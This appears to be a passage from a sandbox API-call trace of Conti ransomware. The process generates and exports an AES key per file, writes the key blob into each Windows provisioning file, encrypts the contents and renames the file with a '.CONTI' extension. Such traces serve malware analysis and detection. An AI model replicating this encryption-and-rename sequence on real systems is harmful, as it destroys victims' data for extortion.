	[0110.969] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.969] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0110.969] GetLastError () returned 0x0
	[0110.969] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=461) returned 1
	[0110.969] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd
	[0110.969] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.969] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.342] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.343] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.344] WriteFile (in: hFile=0x3ec, lpBuffer=0x657116c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x657116c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0111.357] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.357] ReadFile (in: hFile=0x3ec, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x1cd, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x1cd, lpOverlapped=0x0) returned 1
	[0111.357] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1cd, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1d0) returned 1
	[0111.357] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.357] WriteFile (in: hFile=0x3ec, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x1d0, lpOverlapped=0x0) returned 1
	[0111.357] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.357] WriteFile (in: hFile=0x3ec, lpBuffer=0x6571160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6571160*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0111.357] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.357] CloseHandle (hObject=0x3ec) returned 1
	[0111.358] GetProcessHeap () returned 0x1720000
	[0111.358] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.456] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0111.456] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.456] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.457] GetProcessHeap () returned 0x1720000
	[0111.458] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.458] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0111.458] GetProcessHeap () returned 0x1720000
	[0111.458] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b81400 | out: hHeap=0x1720000) returned 1
	[0111.458] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0111.458] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17f7da0 | out: phKey=0x17f7da0*=0x17c7d30) returned 1
	[0111.458] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f7da4, pdwDataLen=0x483fb8c | out: pbData=0x17f7da4*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0111.459] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.459] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0111.459] GetLastError () returned 0x0
	[0111.459] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=711) returned 1
	[0111.459] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0111.459] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.459] SetEndOfFile (hFile=0x30c) returned 1
	[0111.459] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.459] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.460] WriteFile (in: hFile=0x30c, lpBuffer=0x17f7da4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17f7da4*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0111.465] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.465] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2c7, lpOverlapped=0x0) returned 1
	[0111.465] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2c7, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2d0) returned 1
	[0111.465] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.465] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.465] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.465] WriteFile (in: hFile=0x30c, lpBuffer=0x17f7d98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17f7d98*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0111.466] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.466] CloseHandle (hObject=0x30c) returned 1
	[0111.466] GetProcessHeap () returned 0x1720000
	[0111.466] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.466] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml"
	[0111.466] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.466] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.467] GetProcessHeap () returned 0x1720000
	[0111.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.467] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0111.467] GetProcessHeap () returned 0x1720000
	[0111.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572d68 | out: hHeap=0x1720000) returned 1
	[0111.467] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0111.467] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17f8d98 | out: phKey=0x17f8d98*=0x17c7b30) returned 1
	[0111.467] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f8d9c, pdwDataLen=0x483fb8c | out: pbData=0x17f8d9c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0111.468] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.468] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0111.468] GetLastError () returned 0x0
	[0111.468] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=852) returned 1
	[0111.468] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x354
	[0111.468] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.468] SetEndOfFile (hFile=0x30c) returned 1
	[0111.468] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.468] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.468] WriteFile (in: hFile=0x30c, lpBuffer=0x17f8d9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17f8d9c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0111.474] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.474] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x354, lpOverlapped=0x0) returned 1
	[0111.474] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x354, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x360) returned 1
	[0111.474] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.474] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x360, lpOverlapped=0x0) returned 1
	[0111.474] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.475] WriteFile (in: hFile=0x30c, lpBuffer=0x17f8d90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17f8d90*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0111.475] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.475] CloseHandle (hObject=0x30c) returned 1
	[0111.475] GetProcessHeap () returned 0x1720000
	[0111.475] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.475] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml"
	[0111.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.475] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.476] GetProcessHeap () returned 0x1720000
	[0111.476] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.476] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0111.476] GetProcessHeap () returned 0x1720000
	[0111.476] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65725b8 | out: hHeap=0x1720000) returned 1
	[0111.476] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0111.476] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17f5490 | out: phKey=0x17f5490*=0x17c7d30) returned 1
	[0111.476] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f5494, pdwDataLen=0x483fb8c | out: pbData=0x17f5494*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0111.477] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0111.477] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0111.477] GetLastError () returned 0x0
	[0111.477] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=472) returned 1
	[0111.477] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d8
	[0111.477] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.478] SetEndOfFile (hFile=0x30c) returned 1
	[0111.483] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.483] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.483] WriteFile (in: hFile=0x30c, lpBuffer=0x17f5494*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17f5494*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0111.485] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.485] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x1d8, lpOverlapped=0x0) returned 1
	[0111.485] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1d8, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1e0) returned 1
	[0111.485] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.485] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x1e0, lpOverlapped=0x0) returned 1
	[0111.485] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.485] WriteFile (in: hFile=0x30c, lpBuffer=0x17f5488*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17f5488*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0111.485] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.485] CloseHandle (hObject=0x30c) returned 1
	[0111.485] GetProcessHeap () returned 0x1720000
	[0111.485] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.485] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
